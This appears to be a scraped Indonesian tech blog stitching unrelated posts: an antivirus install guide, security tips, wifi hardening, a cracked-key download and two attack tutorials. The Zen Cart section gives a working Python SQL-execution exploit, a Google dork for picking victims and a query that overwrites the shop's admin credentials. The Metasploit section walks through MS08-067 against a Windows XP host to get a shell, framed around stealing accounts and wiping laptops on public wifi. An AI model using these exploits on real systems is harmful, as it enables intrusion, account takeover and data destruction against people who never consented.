Tutorial Install AntiVirus Di Linux (Backtrack)

Andrian21 - Kali Ini Kita Berbicara Tentang Linux Dengan Distro Backtrack Tepatnya , Setelah Tadi Sore Ane Posting Tentang Tutorial Install Ms.Office Di Linux ( Backtrack ) , Sekarang Ane Mau Posting Tutorial Install AntiVirus Di Linux ,  

• Mungkin Kalian Bertanya "Ngapain Linux Di Beri AntiVirus Lagi ??" Jawaban Ane "Yaa Walawpun Linux Memang Sudah Kuat Tanpa AntiVirus , Tapi Untuk Menambah Keyakinan Kita Bahwa Komputer Atau Leptop Kalian Aman Dari Serangan Virus Yang Terus Lahir Dari Tangan-Tangan Virus Maker , Kenapa Tidak ?? Hehehe

Gimana , Masih Mau Lanjut Install AntiVirus Di Linux Anda ??
Nah Kalo Masih Mau Lanjut Sekarang Ane Mau Ngasih Tau Cara Install AntiVirus Apa Saja Yang Mau Ane Berikan , Ane Mau Ngasih Tutorial Install AntiVirus ClamAV Dan AvastAV.
Yaudah Langsung Deh Ke Tutorial Install AntiVirus Di Linuxnya, Cekibroot !!

• Yang Pertama Kita Install ClamAV Dulu, Yuk !!

1. Buka Terminal ( CTRL + ALT + T )
2. Ketikan "sudo apt-get install clamav clamtk" (Tanpa Tanda Petik)
3. Tunggu Sampai Prosess Installasi Selesai

Dan Untuk Menjalankannya  Pergi Ke Application - Accessories - Virus Scanner.

• Sekarang Kita Install AvastAV

1. Buka Terminal ( CTRL + ALT + T )
2. Ketikan "wget http://files.avast.com/files/linux/avast4workstation_1.3.0-2_i386.deb && sudo dpkg -i avast4workstation_1.3.0-2_i386.deb" (Tanpa Tanda Petik)
3. Tunggu Sampai Prosess Installasi Selesai

Dan Untuk Menjalankannya Pergi Ke Application - Accessories - avast! Antivirus.

Mudah Bukan ?? Sekarang Komputer Atau Leptop Anda Aman Dari Serangan Virus , Makasih :)

Tutorial Zen Cart 1.3.8 Remote SQL Execution

 Andrian21 - PertamaTama , Buka Google Dan Ketikan "Powered By Zencart"


pilih salah satu site untuk di jadikan victim, kemudian save dulu source python di bawah ini :

 #
   # ------- Zen Cart 1.3.8 Remote SQL Execution
   # http://www.zen-cart.com/
   # Zen Cart Ecommerce - putting the dream of server rooting within reach  of anyone!
   # A new version (1.3.8a) is avaible on http://www.zen-cart.com/
   #
   # BlackH :)
   #
   #
   # Notes: must have admin/sqlpatch.php enabled
   #
   # clean the database :
   #    DELETE FROM `record_company_info` WHERE `record_company_id` =  (SELECT `record_company_id` FROM `record_company` WHERE  `record_company_image` = '8d317.php' LIMIT 1);
   #    DELETE FROM `record_company` WHERE `record_company_image` =  '8d317.php';
   
   import urllib, urllib2, re, sys
   
   a,b = sys.argv,0
   
   def option(name, need = 0):
   global a, b
   for param in sys.argv:
   if(param == '-'+name): return str(sys.argv[b+1])
   b = b + 1
   if(need):
   print '\n#error', "-"+name, 'parameter required'
   exit(1)
   
   if (len(sys.argv) < 2):
   print """
   =____________ Zen Cart 1.3.8 Remote SQL Execution Exploit  ____________=
   ========================================================================
   |                  BlackH                            |
   ========================================================================
   |                                                                       |
   | $system> python """+sys.argv[0]+""" -url                         |
   | Param:       ex: http://victim.com/site (no  slash)              |
   |                                                                       |
   | Note: blind "injection"                                               |
   ========================================================================
   """
   exit(1)
   
   url, trick = option('url', 1), "/password_forgotten.php"
   
   while True:
   cmd = raw_input('sql@jah$ ')
   if (cmd == "exit"): exit(1)
   req =  urllib2.Request(url+"/admin/sqlpatch.php"+trick+"?action=execute",  urllib.urlencode({'query_string' : cmd}))
   if (re.findall('1 statements  processed',urllib2.urlopen(req).read())):
   print '>> success (', cmd, ")"
   else:
   print '>> failed, be sure to end with ; (', cmd, ")"

 save source di atas dengan extensi .py misal zen.py
sebelum nya komputer kamu instal dlu pithon nya ,
kalo blum aja download aja di : http://www.python.org/ftp/python/2.5/python-2.5.msi

kemudian buka terminal (CMD), misal zen.py
kamu taruh di desktop bearti cmd di arahin ke desktop dlu

kalo udah ketik : zen.py -url htttp://webkorban.com

contohh : zen.py -url http://customizthat.com/2010/admin/ <-enter
trus nanti ada tulisan $sql@jah
jika ada tulisan itu
bearti masukin
perintah : UPDATE admin SET admin_name='adminz', admin_email='admin@shopadmin.com', admin_pass='617ec22fbb8f201c366e9848c0eb6925:87' WHERE admin_id='1'; trus enter

kalo berhasil maka akan muncul kayak ini : >> success ( UPDATE admin SET admin_name='adminz', admin_email='admin@shopadmin.
com', admin_pass='617ec22fbb8f201c366e9848c0eb6925:87' WHERE admin_id='1'; )
sql@jah$

kalo sudah succes, tinggal di url target ditambahin /admin/
kalo succes setiap username sama pasword nya itu adminz , Semoga Sukses

Cara Menyusup Kedalam Komputer Orang Lain

kali ini saya akan memapaparkan tentang bagaimana cara kita menyusup ke komputer yang terinstall windows XP service pack 1 sampai dengan 3...



tetapi pasti teman teman menanyakan 2 pertanyaan kepada saya tentang:



1.> Keuntungan Apa yang di dapatkan dari menyusup ke komputer orang lain :

*.> Pengetahuan yang baru yang bisa jadi berguna untuk anda

*.> sebagai sarana perkerjaan baru...ya iaaalahh..gimana Coba klo kita berhasil menguasai jaringan di dalam suatu fasilitas umum ( wifi gratisan, warkop ataupun Warnet )..wahhh bisa anda bayangkan kan... kita bisa mengambil chips orang dengan mudah dan menjualNYa dengan senang hati..... karna AKUN ANDA ADA PADA KAMI ...hehehhehe ( tapi saya tidak begitu loh..hanya sekedar share )... eh satu hal lagi, anda bisa memformat hardisk Laptop pengguna wifi dengan Mudah..huahuahua (Iblis mulai membisikku )



2.> bagaimana caranya, ... hehehe..

============================================

yang kita mesti sediakan adalah beberapa alat bantu , yang bisa anda dapatkan secara GRATIS...

- OS BACKTRACK ( terserah Backtrack 3 Or 4 ) hehehehe

- John the Ripper

- pwdump6 ( http://www.foofus.net/fizzgig/pwdump/ )

- TROJAN Buatan Sendiri atau keylogeer atau apalahhhh

- kopi panas

- pisang goreng atau Roti bakar ( klo bisa yg rasa coklat cuy )

- ROKOK SAMPOERNA ^_^!!! huahuahua



CEKIDOT!!!

sekarang Kita mulai exploited memakai metasploit yang sudah include di backtrack Untuk lebih memahami tentang Xploited , silahkan kunjungi http://www.metasploit.com/, karna saya tidak akan membahas bahasan Perintah yang akan kita gunakan ( kepanjangan cuy).



Pertama kita masuk dulu ces ke konsole( yg Klo di windows namanYa CMD ) , nah klo sudah terbuka,

ketik : uing~BT#msfconsole



Untuk Melihat Lihat list exploits-nya , gunakan perintah :

msf > show exploits

windows/smb/ms05_039_pnp Microsoft Plug and Play Service Overflow

windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow

windows/smb/ms06_025_rras Microsoft RRAS Service Overflow

windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow

windows/smb/ms06_066_nwapi Microsoft Services MS06-066 nwapi32.dll

windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll

windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption



Wokeh,..sekarang kita Mulai menScan Komputer Target Kita... tapi untuk lebih menyakinkan saya melihat IP Kita,.huahuahua ternyata ip kita ni bagus Juga Yah : 192.168.1.20 :



msf > sudo nmap -v -sS -A -O 192.168.1.28

[*] exec: sudo nmap -v -sS -A -O 192.168.1.28

[sudo] password for test:Starting Nmap 4.62 ( http://nmap.org/ ) at 2009-03-21 23:50 CIT

Initiating ARP Ping Scan at 23:50

Scanning 192.168.1.28 [1 port]

Host 192.168.1.28 appears to be up ... good.

Interesting ports on 192.168.1.28:

Not shown: 1712 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds <------

MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)

Device type: general purpose

Running: Microsoft Windows XP

OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=258 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: OS: Windows



Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka ( lihat Yang ada Tanda Panah <---- ). Mari kita coba masuk ke komputer ini dengan menggunakan exploit windows/smb/ms08_067_netapi.



msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) >



Lihat opsi dari exploit ini dengan mengetikkan show options :



msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

-- ----

0 Automatic Targeting



Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :

msf exploit(ms08_067_netapi) > set rhost 192.168.1.28

rhost => 192.168.1.28



Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :



msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Id Name

-- ----

0 Automatic Targeting

1 Windows 2000 Universal

2 Windows XP SP0/SP1 Universal

3 Windows XP SP2 English (NX)

4 Windows XP SP3 English (NX)

-------- cut -----------



Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :

msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp

payloads => windows/shell_bind_tcp



Untuk melihat payload apa saja dalam metasploit, gunakan perintah :



msf exploit(ms08_067_netapi) > show payloads

Compatible payloads

===================

Name Description

---- -----------

generic/debug_trap Generic x86 Debug Trap

generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6)

generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support)

generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager

----------- dipotong sampai disini ---------------



Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :

msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.1.28 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell_bind_tcp)

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC thread yes Exit technique: seh, thread, process

LPORT 4444 yes The local port

RHOST 192.168.1.28 no The target address

Exploit target:

Id Name

-- ----

0 Automatic Targeting

sekarang jalankan exploit :

msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Triggering the vulnerability...

[*] Command shell session 1 opened (192.168.1.6:33270 -> 192.168.1.28:4444)

Microsoft Windows XP [Version 5.1.2600]

© Copyright 1985-2001 Microsoft Corp.



Selamat... kita sudah Menguasai Satu Komputer.... nahhhhhhh sekarang terserah anda.... kan masih ada 3 alat lagi yang blom kita gunakan.. nah untuk itu. .anda harus mencari sendiri cara untuk mengistal trojan di komputerNya dan mendapatkan sesuatu yang anda inginkan..... kan ane sudah kasihkan sampai penguasaan komputer....sekarang terserah anda.

Kaspersky Anti-Virus 2012 With Activating Keys

Fitur :

Protects your files, documents & photos from hackers
Provides fundamental identity theft protection
Prevents cybercriminals from hijacking your PC
Blocks activity of suspicious programs
Keeps your PC running smoothly and efficientl

• Setup Download
• KEY DOWNLOAD VIA TORRENT 

10 Security Enhancements

Ten Fast and Free Security Enhancements :

Before you spend a dime on security, there are many precautions you can take that will protect you against the most common threats.

1. Check Windows Update and Office Update regularly (_http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a personal firewall. Both SyGate (_www.sygate.com) and ZoneAlarm (_www.zonelabs.com) offer free versions.

3. Install a free spyware blocker. Our Editors' Choice ("Spyware," April 22) was SpyBot Search & Destroy (_http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies.

4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them.

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., w*w.grisoft.com). And doublecheck your AV with the free, online-only scanners available at w*w.pandasoftware.com/activescan and _http://housecall.trendmicro.com.

8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue.

9. Join a respectable e-mail security list, such as the one found at our own Security Supersite at _http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions.

10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support."

13 Cara Mengamankan Jaringan WIFI

1. Memakai enkripsi.

Data dikirimkan melalui gelombang radio. Jadi, tidak ada seorang pun yang bisa menjamin keamanan data. Bisa saja para penyusup menyadap semua data yang lewat, tentunya tanpa diketahui. Enkripsi adalah ukuran security yang pertama, tetapi banyak wireless access points (WAP) tidak menggunakan enkripsi sebagai defaultnya. WEP memang mempunyai beberapa lubang di keamanannya, tetapi itu masih tetap lebih baik daripada tidak ada enkripsi sama sekali. Pastikan untuk mengatur metode WEP authentication dengan “shared key” daripada “open system”. Untuk “open system”, AP tidak meng-encrypt data, tetapi hanya melakukan otentifikasi client. Ubah WEP key sesering mungkin, dan gunakan WEP dengan tingkat enkripsi yang lebih tinggi. Pada umumnya, device WLAN memiliki enkripsi WEP 40, 64, atau 128 bit. Perangkat yang lebih baru bahkan menyediakan tingkat enkripsi sampai 256 bit. Semakin tinggi tingkat enkripsi WEP yang Anda gunakan memang akan menjadikan jaringan semakin aman. Namun di sisi lain, tingkat enkripsi yang semakin tinggi juga akan memperlambat kinerja jaringan karena akan membebani AP/CPU dalam melakukan proses decrypt. Namun, apabila ada yang mencoba melakukan hacking, waktu yang dibutuhkan menjadi lebih lama. Pada umumnya, pilihan enkripsi WEP 128 bit (dipotong IV 24 bit menjadi 104 bit) merupakan kombinasi ideal untuk kecepatan dan keamanan.

Network Security (Hacking)

kali ini saya akan memapaparkan tentang bagaimana cara kita menyusup ke komputer yang terinstall windows XP service pack 1 sampai dengan 3...



tetapi pasti teman teman menanyakan 2 pertanyaan kepada saya tentang:



1.> Keuntungan Apa yang di dapatkan dari menyusup ke komputer orang lain :

*.> Pengetahuan yang baru yang bisa jadi berguna untuk anda

*.> sebagai sarana perkerjaan baru...ya iaaalahh..gimana Coba klo kita berhasil menguasai jaringan di dalam suatu fasilitas umum ( wifi gratisan, warkop ataupun Warnet )..wahhh bisa anda bayangkan kan... kita bisa mengambil chips orang dengan mudah dan menjualNYa dengan senang hati..... karna AKUN ANDA ADA PADA KAMI ...hehehhehe ( tapi saya tidak begitu loh..hanya sekedar share )... eh satu hal lagi, anda bisa memformat hardisk Laptop pengguna wifi dengan Mudah..huahuahua (Iblis mulai membisikku )

Cara Buat Login Administrator 3 Lapis

Pengalaman ini sering ane dapat dari banyaknya admin teledor dan tidak memperdulikan halaman login administrator yang sangat rentan dengan banyaknya serangan, salah satu cara paling sering yang di gunakan para cracker dalam menjebol berbagi situs dengan cara (SQL injeqtion). <<--salah satu cara termudah dan terampuh...

Kelebihan : Setiap scrip berbeda dengan yg laennya, jadi misal USER ID dan PASSWORD ID di hajar sama Cracker...masih tersisa 2 Password yg belum dihajar (cukup membuat cracker bikin kesal).

Cara ini salah satu technik yg di gunakan sama temen ane,...jadi langsung aja <<---(cmiw).
Tools yg di pake :


1. APacheTriad2 : http://adf.ly/29pc3
2. Code MicroProtector : Tanya Mbah Google
3. Code Password_Protected : Tanya Mbah Google
4. Notepad++ : http://adf.ly/29pfe
5. Macromedia Dreamweaver 8 : http://adf.ly/29pgU

Contoh Login 1 sampai 3 :
Login Pertama :